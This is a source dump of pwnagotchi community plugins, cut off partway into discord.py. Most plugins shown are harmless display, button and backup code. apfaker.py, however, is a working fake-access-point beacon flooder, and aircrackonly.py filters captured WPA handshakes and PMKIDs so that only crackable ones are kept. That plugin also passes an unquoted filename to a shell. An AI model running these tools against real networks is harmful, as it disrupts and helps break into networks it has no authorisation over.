├── .gitignore ├── aircrackonly.py ├── apfaker.py ├── auto_backup.py ├── buttonshim.py ├── christmas.py ├── clock.py ├── deauth.py ├── discord.py ├── gpio_buttons.py ├── gpio_shutdown.py ├── handshakes-dl.py ├── hashie.py ├── hulk.py ├── mastodon.py ├── memtemp.py ├── net-pos.py ├── onlinehashcrack.py ├── paw-gps.py ├── quickdic.py ├── screen_refresh.py ├── switcher.py ├── telegram.py ├── twitter.py ├── ups_lite.py ├── viz.py ├── watchdog.py ├── webgpsmap.html ├── webgpsmap.py ├── wigle.py └── wpa-sec.py /.gitignore: -------------------------------------------------------------------------------- 1 | *.*~ 2 | -------------------------------------------------------------------------------- /aircrackonly.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | 3 | import logging 4 | import subprocess 5 | import string 6 | import os 7 | 8 | 9 | class AircrackOnly(plugins.Plugin): 10 | __author__ = 'pwnagotchi [at] rossmarks [dot] uk' 11 | __version__ = '2.0.0' 12 | __license__ = 'GPL3' 13 | __description__ = 'confirm pcap contains handshake/PMKID or delete it' 14 | __dependencies__ = { 15 | 'apt': ['aircrack-ng'], 16 | } 17 | __defaults__ = { 18 | 'enabled': False, 19 | 'face': '(>.<)', 20 | } 21 | 22 | def __init__(self): 23 | self.text_to_set = "" 24 | 25 | def on_loaded(self): 26 | logging.info('[aircrackonly] plugin loaded') 27 | 28 | if 'face' not in self.options: 29 | self.options['face'] = '(>.<)' 30 | 31 | check = subprocess.run( 32 | ('/usr/bin/dpkg -l aircrack-ng | grep aircrack-ng | awk \'{print $2, $3}\''), shell=True, stdout=subprocess.PIPE) 33 | check = check.stdout.decode('utf-8').strip() 34 | if check != "aircrack-ng ": 35 | logging.info('[aircrackonly] Found %s', check) 36 | else: 37 | logging.warning('[aircrackonly] aircrack-ng is not installed!') 38 | 39 | def on_handshake(self, agent, filename, access_point, client_station): 40 | display = agent._view 41 | todelete = 0 42 | handshakeFound = 0 43 | 44 | result = subprocess.run(('/usr/bin/aircrack-ng ' + filename + ' | grep "1 handshake" | awk \'{print $2}\''), 45 | shell=True, stdout=subprocess.PIPE) 46 | result = result.stdout.decode('utf-8').translate({ord(c): None for c in string.whitespace}) 47 | if result: 48 | handshakeFound = 1 49 | logging.info('[aircrackonly] contains handshake') 50 | 51 | if handshakeFound == 0: 52 | result = subprocess.run(('/usr/bin/aircrack-ng ' + filename + ' | grep "PMKID" | awk \'{print $2}\''), 53 | shell=True, stdout=subprocess.PIPE) 54 | result = result.stdout.decode('utf-8').translate({ord(c): None for c in string.whitespace}) 55 | if result: 56 | logging.info('[aircrackonly] contains PMKID') 57 | else: 58 | todelete = 1 59 | 60 | if todelete == 1: 61 | os.remove(filename) 62 | self.text_to_set = "Removed an uncrackable pcap" 63 | logging.warning('[aircrackonly] Removed uncrackable pcap %s', filename) 64 | display.update(force=True) 65 | 66 | def on_ui_update(self, ui): 67 | if self.text_to_set: 68 | ui.set('face', self.options['face']) 69 | ui.set('status', self.text_to_set) 70 | self.text_to_set = "" 71 | -------------------------------------------------------------------------------- /apfaker.py: -------------------------------------------------------------------------------- 1 | import os 2 | import logging 3 | 4 | from random import shuffle 5 | from pwnagotchi import plugins 6 | from pwnagotchi.ui.components import LabeledValue 7 | from pwnagotchi.ui.view import BLACK 8 | from pwnagotchi.ui import fonts 9 | from time import sleep 10 | from scapy.all import Dot11, Dot11Beacon, Dot11Elt, RadioTap, sendp, RandMAC 11 | 12 | 13 | class APFaker(plugins.Plugin): 14 | __author__ = '33197631+dadav@users.noreply.github.com' 15 | __version__ = '2.0.4' 16 | __license__ = 'GPL3' 17 | __description__ = 'Creates fake aps.' 18 | __dependencies__ = { 19 | 'pip': ['scapy'], 20 | } 21 | __defaults__ = { 22 | 'enabled': False, 23 | 'ssids': ['5G TEST CELL TOWER'], 24 | 'max': 50, 25 | 'repeat': True, 26 | 'password_protected': False, 27 | } 28 | 29 | def __init__(self): 30 | self.options = dict() 31 | self.ready = False 32 | self.shutdown = False 33 | 34 | @staticmethod 35 | def create_beacon(name, password_protected=False): 36 | dot11 = Dot11(type=0, 37 | subtype=8, 38 | addr1='ff:ff:ff:ff:ff:ff', 39 | addr2=str(RandMAC()), 40 | addr3=str(RandMAC())) 41 | 42 | beacon = Dot11Beacon(cap='ESS+privacy' if password_protected else 'ESS') 43 | essid = Dot11Elt(ID='SSID',info=name, len=len(name)) 44 | 45 | if not password_protected: 46 | return RadioTap()/dot11/beacon/essid 47 | 48 | rsn = Dot11Elt(ID='RSNinfo', info=( 49 | '\x01\x00' 50 | '\x00\x0f\xac\x02' 51 | '\x02\x00' 52 | '\x00\x0f\xac\x04' 53 | '\x00\x0f\xac\x02' 54 | '\x01\x00' 55 | '\x00\x0f\xac\x02' 56 | '\x00\x00')) 57 | 58 | return RadioTap()/dot11/beacon/essid/rsn 59 | 60 | def on_loaded(self): 61 | if isinstance(self.options['ssids'], str): 62 | path = self.options['ssids'] 63 | 64 | if not os.path.exists(path): 65 | self.ssids = [path] 66 | else: 67 | try: 68 | with open(path) as wordlist: 69 | self.ssids = wordlist.read().split() 70 | except OSError as oserr: 71 | logging.error('[apfaker] %s', oserr) 72 | return 73 | elif isinstance(self.options['ssids'], list): 74 | self.ssids = self.options['ssids'] 75 | else: 76 | logging.error('[apfaker] wtf is %s', self.options['ssids']) 77 | return 78 | 79 | self.ready = True 80 | logging.info('[apfaker] plugin loaded') 81 | 82 | 83 | def on_ready(self, agent): 84 | if not self.ready: 85 | return 86 | 87 | shuffle(self.ssids) 88 | 89 | cnt = 0 90 | base_list = self.ssids.copy() 91 | while len(self.ssids) <= self.options['max'] and self.options['repeat']: 92 | self.ssids.extend([f"{ssid}_{cnt}" for ssid in base_list]) 93 | cnt += 1 94 | 95 | frames = list() 96 | for idx, ssid in enumerate(self.ssids[:self.options['max']]): 97 | try: 98 | logging.info('[apfaker] creating fake ap with ssid "%s"', ssid) 99 | frames.append(APFaker.create_beacon(ssid, password_protected=self.options['password_protected'])) 100 | agent.view().set('apfake', str(idx + 1)) 101 | except Exception as ex: 102 | logging.debug('[apfaker] %s', ex) 103 | 104 | main_config = agent.config() 105 | 106 | while not self.shutdown: 107 | sendp(frames, iface=main_config['main']['iface'], verbose=False) 108 | sleep(max(0.1, len(frames) / 100)) 109 | 110 | def on_before_shutdown(self): 111 | self.shutdown = True 112 | 113 | def on_ui_setup(self, ui): 114 | with ui._lock: 115 | ui.add_element('apfake', LabeledValue(color=BLACK, label='F', value='-', position=(ui.width() / 2 + 20, 0), 116 | label_font=fonts.Bold, text_font=fonts.Medium)) 117 | 118 | def on_unload(self, ui): 119 | with ui._lock: 120 | ui.remove_element('apfake') 121 | -------------------------------------------------------------------------------- /auto_backup.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | from pwnagotchi.utils import StatusFile 3 | import os 4 | import logging 5 | import subprocess 6 | 7 | 8 | class AutoBackup(plugins.Plugin): 9 | __author__ = '33197631+dadav@users.noreply.github.com' 10 | __version__ = '2.0.0' 11 | __license__ = 'GPL3' 12 | __description__ = 'This plugin backups files when internet is available.' 13 | __defaults__ = { 14 | 'enabled': False, 15 | 'interval': 1, 16 | 'max_tries': 0, 17 | 'files': [ 18 | '/root/brain.nn', 19 | '/root/brain.json', 20 | '/root/.api-report.json', 21 | '/root/handshakes/', 22 | '/etc/pwnagotchi/', 23 | '/var/log/pwnagotchi.log', 24 | ], 25 | 'commands': [ 26 | 'tar czf /root/pwnagotchi-backup.tar.gz {files}' 27 | ], 28 | } 29 | 30 | def __init__(self): 31 | self.ready = False 32 | self.tries = 0 33 | self.status = StatusFile('/root/.auto-backup') 34 | 35 | def on_loaded(self): 36 | for opt in ['files', 'interval', 'commands', 'max_tries']: 37 | if opt not in self.options or (opt in self.options and self.options[opt] is None): 38 | logging.error(f"[autobackup] Option {opt} is not set.") 39 | return 40 | 41 | self.ready = True 42 | logging.info('[autobackup] Successfully loaded.') 43 | 44 | def on_internet_available(self, agent): 45 | if not self.ready: 46 | return 47 | 48 | if self.options['max_tries'] and self.tries >= self.options['max_tries']: 49 | return 50 | 51 | if self.status.newer_then_days(self.options['interval']): 52 | return 53 | 54 | # Only backup existing files to prevent errors 55 | existing_files = list(filter(lambda f: os.path.exists(f), self.options['files'])) 56 | files_to_backup = " ".join(existing_files) 57 | 58 | try: 59 | display = agent.view() 60 | 61 | logging.info('[autobackup] Backing up ...') 62 | display.set('status', 'Backing up ...') 63 | display.update() 64 | 65 | for cmd in self.options['commands']: 66 | logging.info(f"[autobackup] Running {cmd.format(files=files_to_backup)}") 67 | process = subprocess.Popen(cmd.format(files=files_to_backup), shell=True, stdin=None, 68 | stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") 69 | process.wait() 70 | if process.returncode > 0: 71 | raise OSError(f"Command failed (rc: {process.returncode})") 72 | 73 | logging.info('[autobackup] backup done') 74 | display.set('status', 'Backup done!') 75 | display.update() 76 | self.status.update() 77 | except OSError as os_e: 78 | self.tries += 1 79 | logging.info(f"[autobackup] Error: {os_e}") 80 | display.set('status', 'Backup failed!') 81 | display.update() 82 | -------------------------------------------------------------------------------- /buttonshim.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | from threading import Thread 3 | import logging 4 | import subprocess 5 | import smbus 6 | import time 7 | import atexit 8 | 9 | try: 10 | import queue 11 | except ImportError: 12 | import Queue as queue 13 | 14 | ADDR = 0x3f 15 | 16 | __version__ = '0.0.2x' 17 | 18 | _bus = None 19 | 20 | LED_DATA = 7 21 | LED_CLOCK = 6 22 | 23 | REG_INPUT = 0x00 24 | REG_OUTPUT = 0x01 25 | REG_POLARITY = 0x02 26 | REG_CONFIG = 0x03 27 | 28 | NUM_BUTTONS = 5 29 | 30 | BUTTON_A = 0 31 | """Button A""" 32 | BUTTON_B = 1 33 | """Button B""" 34 | BUTTON_C = 2 35 | """Button C""" 36 | BUTTON_D = 3 37 | """Button D""" 38 | BUTTON_E = 4 39 | """Button E""" 40 | 41 | NAMES = ['A', 'B', 'C', 'D', 'E'] 42 | """Sometimes you want to print the plain text name of the button that's triggered. 43 | 44 | You can use:: 45 | 46 | buttonshim.NAMES[button_index] 47 | 48 | To accomplish this. 49 | 50 | """ 51 | 52 | ERROR_LIMIT = 10 53 | 54 | FPS = 60 55 | 56 | LED_GAMMA = [ 57 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 58 | 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 59 | 2, 2, 2, 3, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 60 | 6, 6, 6, 7, 7, 7, 8, 8, 8, 9, 9, 9, 10, 10, 11, 11, 61 | 11, 12, 12, 13, 13, 13, 14, 14, 15, 15, 16, 16, 17, 17, 18, 18, 62 | 19, 19, 20, 21, 21, 22, 22, 23, 23, 24, 25, 25, 26, 27, 27, 28, 63 | 29, 29, 30, 31, 31, 32, 33, 34, 34, 35, 36, 37, 37, 38, 39, 40, 64 | 40, 41, 42, 43, 44, 45, 46, 46, 47, 48, 49, 50, 51, 52, 53, 54, 65 | 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 66 | 71, 72, 73, 74, 76, 77, 78, 79, 80, 81, 83, 84, 85, 86, 88, 89, 67 | 90, 91, 93, 94, 95, 96, 98, 99, 100, 102, 103, 104, 106, 107, 109, 110, 68 | 111, 113, 114, 116, 117, 119, 120, 121, 123, 124, 126, 128, 129, 131, 132, 134, 69 | 135, 137, 138, 140, 142, 143, 145, 146, 148, 150, 151, 153, 155, 157, 158, 160, 70 | 162, 163, 165, 167, 169, 170, 172, 174, 176, 178, 179, 181, 183, 185, 187, 189, 71 | 191, 193, 194, 196, 198, 200, 202, 204, 206, 208, 210, 212, 214, 216, 218, 220, 72 | 222, 224, 227, 229, 231, 233, 235, 237, 239, 241, 244, 246, 248, 250, 252, 255] 73 | 74 | # The LED is an APA102 driven via the i2c IO expander. 75 | # We must set and clear the Clock and Data pins 76 | # Each byte in _reg_queue represents a snapshot of the pin state 77 | 78 | _reg_queue = [] 79 | _update_queue = [] 80 | _brightness = 0.5 81 | 82 | _led_queue = queue.Queue() 83 | 84 | _t_poll = None 85 | 86 | _running = False 87 | 88 | _states = 0b00011111 89 | 90 | 91 | class Handler: 92 | plugin = None 93 | 94 | def __init__(self, plugin): 95 | self.press = None 96 | self.release = None 97 | 98 | self.hold = None 99 | self.hold_time = 0 100 | 101 | self.repeat = False 102 | self.repeat_time = 0 103 | 104 | self.t_pressed = 0 105 | self.t_repeat = 0 106 | self.hold_fired = False 107 | self.plugin = plugin 108 | 109 | 110 | _handlers = [None, None, None, None, None] 111 | 112 | 113 | def _run(): 114 | global _running, _states 115 | _running = True 116 | _last_states = 0b00011111 117 | _errors = 0 118 | 119 | while _running: 120 | led_data = None 121 | 122 | try: 123 | led_data = _led_queue.get(False) 124 | _led_queue.task_done() 125 | 126 | except queue.Empty: 127 | pass 128 | 129 | try: 130 | if led_data: 131 | for chunk in _chunk(led_data, 32): 132 | _bus.write_i2c_block_data(ADDR, REG_OUTPUT, chunk) 133 | 134 | _states = _bus.read_byte_data(ADDR, REG_INPUT) 135 | 136 | except IOError: 137 | _errors += 1 138 | if _errors > ERROR_LIMIT: 139 | _running = False 140 | raise IOError("More than {} IO errors have occurred!".format(ERROR_LIMIT)) 141 | 142 | for x in range(NUM_BUTTONS): 143 | last = (_last_states >> x) & 1 144 | curr = (_states >> x) & 1 145 | handler = _handlers[x] 146 | 147 | # If last > curr then it's a transition from 1 to 0 148 | # since the buttons are active low, that's a press event 149 | if last > curr: 150 | handler.t_pressed = time.time() 151 | handler.hold_fired = False 152 | 153 | if callable(handler.press): 154 | handler.t_repeat = time.time() 155 | Thread(target=handler.press, args=(x, True, handler.plugin)).start() 156 | 157 | continue 158 | 159 | if last < curr and callable(handler.release): 160 | Thread(target=handler.release, args=(x, False, handler.plugin)).start() 161 | continue 162 | 163 | if curr == 0: 164 | if callable(handler.hold) and not handler.hold_fired and (time.time() - handler.t_pressed) > handler.hold_time: 165 | Thread(target=handler.hold, args=(x,)).start() 166 | handler.hold_fired = True 167 | 168 | if handler.repeat and callable(handler.press) and (time.time() - handler.t_repeat) > handler.repeat_time: 169 | _handlers[x].t_repeat = time.time() 170 | Thread(target=_handlers[x].press, args=(x, True, handler.plugin)).start() 171 | 172 | _last_states = _states 173 | 174 | time.sleep(1.0 / FPS) 175 | 176 | 177 | def _quit(): 178 | global _running 179 | 180 | if _running: 181 | _led_queue.join() 182 | set_pixel(0, 0, 0) 183 | _led_queue.join() 184 | 185 | _running = False 186 | _t_poll.join() 187 | 188 | 189 | def setup(): 190 | global _t_poll, _bus 191 | 192 | if _bus is not None: 193 | return 194 | 195 | _bus = smbus.SMBus(1) 196 | 197 | _bus.write_byte_data(ADDR, REG_CONFIG, 0b00011111) 198 | _bus.write_byte_data(ADDR, REG_POLARITY, 0b00000000) 199 | _bus.write_byte_data(ADDR, REG_OUTPUT, 0b00000000) 200 | 201 | _t_poll = Thread(target=_run) 202 | _t_poll.daemon = True 203 | _t_poll.start() 204 | 205 | set_pixel(0, 0, 0) 206 | 207 | atexit.register(_quit) 208 | 209 | 210 | def _set_bit(pin, value): 211 | global _reg_queue 212 | 213 | if value: 214 | _reg_queue[-1] |= (1 << pin) 215 | else: 216 | _reg_queue[-1] &= ~(1 << pin) 217 | 218 | 219 | def _next(): 220 | global _reg_queue 221 | 222 | if len(_reg_queue) == 0: 223 | _reg_queue = [0b00000000] 224 | else: 225 | _reg_queue.append(_reg_queue[-1]) 226 | 227 | 228 | def _enqueue(): 229 | global _reg_queue 230 | 231 | _led_queue.put(_reg_queue) 232 | 233 | _reg_queue = [] 234 | 235 | 236 | def _chunk(l, n): # noqa 237 | for i in range(0, len(l) + 1, n): 238 | yield l[i:i + n] 239 | 240 | 241 | def _write_byte(byte): 242 | for x in range(8): 243 | _next() 244 | _set_bit(LED_CLOCK, 0) 245 | _set_bit(LED_DATA, byte & 0b10000000) 246 | _next() 247 | _set_bit(LED_CLOCK, 1) 248 | byte <<= 1 249 | 250 | 251 | def on_hold(buttons, handler=None, hold_time=2): 252 | """Attach a hold handler to one or more buttons. 253 | 254 | This handler is fired when you hold a button for hold_time seconds. 255 | 256 | When fired it will run in its own Thread. 257 | 258 | It will be passed one argument, the button index:: 259 | 260 | @buttonshim.on_hold(buttonshim.BUTTON_A) 261 | def handler(button): 262 | # Your code here 263 | 264 | :param buttons: A single button, or a list of buttons 265 | :param handler: Optional: a function to bind as the handler 266 | :param hold_time: Optional: the hold time in seconds (default 2) 267 | 268 | """ 269 | setup() 270 | 271 | if buttons is None: 272 | buttons = [BUTTON_A, BUTTON_B, BUTTON_C, BUTTON_D, BUTTON_E] 273 | 274 | if isinstance(buttons, int): 275 | buttons = [buttons] 276 | 277 | def attach_handler(handler): 278 | for button in buttons: 279 | _handlers[button].hold = handler 280 | _handlers[button].hold_time = hold_time 281 | 282 | if handler is not None: 283 | attach_handler(handler) 284 | else: 285 | return attach_handler 286 | 287 | 288 | def on_press(buttons, handler=None, repeat=False, repeat_time=0.5): 289 | """Attach a press handler to one or more buttons. 290 | 291 | This handler is fired when you press a button. 292 | 293 | When fired it will be run in its own Thread. 294 | 295 | It will be passed two arguments, the button index and a 296 | boolean indicating whether the button has been pressed/released:: 297 | 298 | @buttonshim.on_press(buttonshim.BUTTON_A) 299 | def handler(button, pressed): 300 | # Your code here 301 | 302 | :param buttons: A single button, or a list of buttons 303 | :param handler: Optional: a function to bind as the handler 304 | :param repeat: Optional: Repeat the handler if the button is held 305 | :param repeat_time: Optional: Time, in seconds, after which to repeat 306 | 307 | """ 308 | setup() 309 | 310 | if buttons is None: 311 | buttons = [BUTTON_A, BUTTON_B, BUTTON_C, BUTTON_D, BUTTON_E] 312 | 313 | if isinstance(buttons, int): 314 | buttons = [buttons] 315 | 316 | def attach_handler(handler): 317 | for button in buttons: 318 | _handlers[button].press = handler 319 | _handlers[button].repeat = repeat 320 | _handlers[button].repeat_time = repeat_time 321 | 322 | if handler is not None: 323 | attach_handler(handler) 324 | else: 325 | return attach_handler 326 | 327 | 328 | def on_release(buttons=None, handler=None): 329 | """Attach a release handler to one or more buttons. 330 | 331 | This handler is fired when you let go of a button. 332 | 333 | When fired it will be run in its own Thread. 334 | 335 | It will be passed two arguments, the button index and a 336 | boolean indicating whether the button has been pressed/released:: 337 | 338 | @buttonshim.on_release(buttonshim.BUTTON_A) 339 | def handler(button, pressed): 340 | # Your code here 341 | 342 | :param buttons: A single button, or a list of buttons 343 | :param handler: Optional: a function to bind as the handler 344 | 345 | """ 346 | setup() 347 | 348 | if buttons is None: 349 | buttons = [BUTTON_A, BUTTON_B, BUTTON_C, BUTTON_D, BUTTON_E] 350 | 351 | if isinstance(buttons, int): 352 | buttons = [buttons] 353 | 354 | def attach_handler(handler): 355 | for button in buttons: 356 | _handlers[button].release = handler 357 | 358 | if handler is not None: 359 | attach_handler(handler) 360 | else: 361 | return attach_handler 362 | 363 | 364 | def set_brightness(brightness): 365 | global _brightness 366 | 367 | setup() 368 | 369 | if not isinstance(brightness, int) and not isinstance(brightness, float): 370 | raise ValueError("Brightness should be an int or float") 371 | 372 | if brightness < 0.0 or brightness > 1.0: 373 | raise ValueError("Brightness should be between 0.0 and 1.0") 374 | 375 | _brightness = brightness 376 | 377 | 378 | def set_pixel(r, g, b): 379 | """Set the Button SHIM RGB pixel 380 | 381 | Display an RGB colour on the Button SHIM pixel. 382 | 383 | :param r: Amount of red, from 0 to 255 384 | :param g: Amount of green, from 0 to 255 385 | :param b: Amount of blue, from 0 to 255 386 | 387 | You can use HTML colours directly with hexadecimal notation in Python. EG:: 388 | 389 | buttonshim.set_pixel(0xFF, 0x00, 0xFF) 390 | 391 | """ 392 | setup() 393 | 394 | if not isinstance(r, int) or r < 0 or r > 255: 395 | raise ValueError("Argument r should be an int from 0 to 255") 396 | 397 | if not isinstance(g, int) or g < 0 or g > 255: 398 | raise ValueError("Argument g should be an int from 0 to 255") 399 | 400 | if not isinstance(b, int) or b < 0 or b > 255: 401 | raise ValueError("Argument b should be an int from 0 to 255") 402 | 403 | r, g, b = [int(x * _brightness) for x in (r, g, b)] 404 | 405 | _write_byte(0) 406 | _write_byte(0) 407 | _write_byte(0b11101111) 408 | _write_byte(LED_GAMMA[b & 0xff]) 409 | _write_byte(LED_GAMMA[g & 0xff]) 410 | _write_byte(LED_GAMMA[r & 0xff]) 411 | _write_byte(0) 412 | _write_byte(0) 413 | _enqueue() 414 | 415 | 416 | def blink(r, g, b, ontime, offtime, blinktimes): 417 | logging.info('[buttonshim] Blink') 418 | for i in range(0, blinktimes): 419 | set_pixel(r, g, b) 420 | time.sleep(ontime) 421 | set_pixel(0, 0, 0) 422 | time.sleep(offtime) 423 | 424 | 425 | def runCommand(button, pressed, plugin): 426 | logging.info(f"[buttonshim] Button Pressed! Loading command from slot '{button}' for button '{NAMES[button]}'") 427 | bCfg = plugin.options['buttons'][NAMES[button]] 428 | blinkCfg = bCfg['blink'] 429 | logging.debug('[buttonshim] %s', blink) 430 | if blinkCfg['enabled']: 431 | logging.debug('[buttonshim] Blinking led') 432 | red = int(blinkCfg['red']) 433 | green = int(blinkCfg['green']) 434 | blue = int(blinkCfg['blue']) 435 | on_time = float(blinkCfg['on_time']) 436 | off_time = float(blinkCfg['off_time']) 437 | blink_times = int(blinkCfg['blink_times']) 438 | logging.debug(f"[buttonshim] red {red} green {green} blue {blue} on_time {on_time} off_time {off_time} blink_times {blink_times}") 439 | thread = Thread(target=blink, args=(red, green, blue, on_time, off_time, blink_times)) 440 | thread.start() 441 | logging.debug('[buttonshim] Blink thread started') 442 | command = bCfg['command'] 443 | if command == '': 444 | logging.debug('[buttonshim] Command empty') 445 | else: 446 | logging.debug(f"[buttonshim] Process create: {command}") 447 | process = subprocess.Popen(command, shell=True, stdin=None, stdout=open("/dev/null", "w"), stderr=None, executable="/bin/bash") 448 | process.wait() 449 | process = None 450 | logging.debug('[buttonshim] Process end') 451 | 452 | 453 | class Buttonshim(plugins.Plugin): 454 | __author__ = 'gon@o2online.de' 455 | __version__ = '1.0.0' 456 | __license__ = 'GPL3' 457 | __description__ = 'Pimoroni Button Shim GPIO Button and RGB LED support plugin based on the pimoroni-buttonshim-lib and the pwnagotchi-gpio-buttons-plugin' 458 | __defaults__ = { 459 | 'enabled': False, 460 | 'buttons': { 461 | 'A': { 462 | 'command': '', 463 | 'blink': { 464 | 'enabled': False, 465 | 'red': 0, 466 | 'green': 0, 467 | 'blue': 0, 468 | 'on_time': 0, 469 | 'off_time': 0, 470 | 'blink_times': 0, 471 | } 472 | }, 473 | 'B': { 474 | 'command': '', 475 | 'blink': { 476 | 'enabled': False, 477 | 'red': 0, 478 | 'green': 0, 479 | 'blue': 0, 480 | 'on_time': 0, 481 | 'off_time': 0, 482 | 'blink_times': 0, 483 | } 484 | }, 485 | 'C': { 486 | 'command': '', 487 | 'blink': { 488 | 'enabled': False, 489 | 'red': 0, 490 | 'green': 0, 491 | 'blue': 0, 492 | 'on_time': 0, 493 | 'off_time': 0, 494 | 'blink_times': 0, 495 | } 496 | }, 497 | 'D': { 498 | 'command': '', 499 | 'blink': { 500 | 'enabled': False, 501 | 'red': 0, 502 | 'green': 0, 503 | 'blue': 0, 504 | 'on_time': 0, 505 | 'off_time': 0, 506 | 'blink_times': 0, 507 | } 508 | }, 509 | } 510 | } 511 | 512 | def __init__(self): 513 | self.running = False 514 | self.options = dict() 515 | global _handlers 516 | _handlers = [Handler(self) for x in range(NUM_BUTTONS)] 517 | on_press([BUTTON_A, BUTTON_B, BUTTON_C, BUTTON_D, BUTTON_E], runCommand) 518 | 519 | def on_loaded(self): 520 | logging.info('[buttonshim] GPIO Button plugin loaded.') 521 | self.running = True 522 | -------------------------------------------------------------------------------- /christmas.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi.ui.components import LabeledValue 2 | from pwnagotchi.ui.view import BLACK 3 | from pwnagotchi.ui import fonts 4 | from pwnagotchi import plugins 5 | import logging 6 | import datetime 7 | import yaml 8 | 9 | 10 | class Christmas(plugins.Plugin): 11 | __author__ = 'https://github.com/LoganMD' 12 | __version__ = '2.0.0' 13 | __license__ = 'GPL3' 14 | __description__ = 'Christmas Countdown timer for pwnagotchi' 15 | __defaults__ = { 16 | 'enabled': False 17 | } 18 | 19 | def on_loaded(self): 20 | logging.info('[christmas] Plugin loaded.') 21 | 22 | def on_ui_setup(self, ui): 23 | memenable = False 24 | with open('/etc/pwnagotchi/config.yml') as f: 25 | data = yaml.load(f, Loader=yaml.FullLoader) 26 | 27 | if 'memtemp' in data["main"]["plugins"]: 28 | if 'enabled' in data["main"]["plugins"]["memtemp"]: 29 | if data["main"]["plugins"]["memtemp"]["enabled"]: 30 | memenable = True 31 | logging.info("[christmas] memtemp is enabled") 32 | if ui.is_waveshare_v2(): 33 | pos = (130, 80) if memenable else (200, 80) 34 | ui.add_element('christmas', LabeledValue(color=BLACK, label='', value='christmas\n', 35 | position=pos, 36 | label_font=fonts.Small, text_font=fonts.Small)) 37 | 38 | def on_ui_update(self, ui): 39 | now = datetime.datetime.now() 40 | christmas = datetime.datetime(now.year, 12, 25) 41 | if now > christmas: 42 | christmas = christmas.replace(year=now.year + 1) 43 | 44 | difference = (christmas - now) 45 | 46 | days = difference.days 47 | hours = difference.seconds // 3600 48 | minutes = (difference.seconds % 3600) // 60 49 | 50 | if now.month == 12 and now.day == 25: 51 | ui.set('christmas', "merry\nchristmas!") 52 | elif days == 0: 53 | ui.set('christmas', "christmas\n%dH %dM" % (hours, minutes)) 54 | else: 55 | ui.set('christmas', "christmas\n%dD %dH" % (days, hours)) 56 | -------------------------------------------------------------------------------- /clock.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi.ui.components import LabeledValue 2 | from pwnagotchi.ui.view import BLACK 3 | from pwnagotchi.ui import fonts 4 | from pwnagotchi import plugins 5 | import logging 6 | import datetime 7 | import os 8 | import toml 9 | import yaml 10 | 11 | 12 | class PwnClock(plugins.Plugin): 13 | __author__ = 'https://github.com/LoganMD' 14 | __version__ = '2.0.0' 15 | __license__ = 'GPL3' 16 | __description__ = 'Clock/Calendar for pwnagotchi' 17 | __defaults__ = { 18 | 'enabled': False, 19 | } 20 | 21 | def on_loaded(self): 22 | if 'date_format' in self.options: 23 | self.date_format = self.options['date_format'] 24 | else: 25 | self.date_format = "%m/%d/%y" 26 | 27 | logging.info('[pwnclock] Plugin loaded.') 28 | 29 | def on_ui_setup(self, ui): 30 | memenable = False 31 | config_is_toml = True if os.path.exists( 32 | '/etc/pwnagotchi/config.toml') else False 33 | config_path = '/etc/pwnagotchi/config.toml' if config_is_toml else '/etc/pwnagotchi/config.yml' 34 | with open(config_path) as f: 35 | data = toml.load(f) if config_is_toml else yaml.load( 36 | f, Loader=yaml.FullLoader) 37 | 38 | if 'memtemp' in data["main"]["plugins"]: 39 | if 'enabled' in data["main"]["plugins"]["memtemp"]: 40 | if data["main"]["plugins"]["memtemp"]["enabled"]: 41 | memenable = True 42 | logging.info( 43 | "[pwnclock] memtemp is enabled") 44 | if ui.is_waveshare_v2(): 45 | pos = (130, 80) if memenable else (200, 80) 46 | ui.add_element('clock', LabeledValue(color=BLACK, label='', value='-/-/-\n-:--', 47 | position=pos, 48 | label_font=fonts.Small, text_font=fonts.Small)) 49 | 50 | def on_ui_update(self, ui): 51 | now = datetime.datetime.now() 52 | time_rn = now.strftime(self.date_format + "\n%I:%M %p") 53 | ui.set('clock', time_rn) 54 | -------------------------------------------------------------------------------- /deauth.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from pwnagotchi import plugins 4 | from pwnagotchi.ui import fonts 5 | from pwnagotchi.ui.components import LabeledValue 6 | from pwnagotchi.ui.view import BLACK 7 | 8 | 9 | class Deauth(plugins.Plugin): 10 | __author__ = 'scorp' 11 | __version__ = '2.0.0' 12 | __name__ = 'deauthcounter' 13 | __license__ = 'MIT' 14 | __description__ = 'counts the successful deauth attacks of this session ' 15 | __defaults__ = { 16 | 'enabled': False, 17 | } 18 | 19 | def __init__(self): 20 | self.deauth_counter = 0 21 | self.handshake_counter = 0 22 | 23 | def on_loaded(self): 24 | logging.info("[deauth] pluginloaded") 25 | 26 | # called to setup the ui elements 27 | def on_ui_setup(self, ui): 28 | # add custom UI elements 29 | ui.add_element('deauth', LabeledValue(color=BLACK, label='Deauths ', value=str(self.deauth_counter), 30 | position=(ui.width() / 2 + 50, ui.height() - 25), 31 | label_font=fonts.Bold, text_font=fonts.Medium)) 32 | ui.add_element('hand', LabeledValue(color=BLACK, label='Handshakes ', value=str(self.handshake_counter), 33 | position=(ui.width() / 2 + 50, ui.height() - 35), 34 | label_font=fonts.Bold, text_font=fonts.Medium)) 35 | 36 | # called when the ui is updated 37 | def on_ui_update(self, ui): 38 | # update those elements 39 | ui.set('deauth', str(self.deauth_counter)) 40 | ui.set('hand', str(self.handshake_counter)) 41 | 42 | # called when the agent is deauthenticating a client station from an AP 43 | def on_deauthentication(self, agent, access_point, client_station): 44 | self.deauth_counter += 1 45 | 46 | def on_handshake(self, agent, filename, access_point, client_station): 47 | self.handshake_counter += 1 48 | -------------------------------------------------------------------------------- /discord.py: -------------------------------------------------------------------------------- 1 | from pwnagotchi import plugins 2 | from pwnagotchi.voice import Voice 3 | import logging 4 | import os 5 | 6 | 7 | class Discord(plugins.Plugin): 8 | __author__ = 'isabelladonnamoore@outlook.com' 9 | __version__ = '2.0.0' 10 | __license__ = 'GPL3' 11 | __description__ = 'Post recent activity to a Discord channel using webhooks. Requires discord.py module.' 12 | 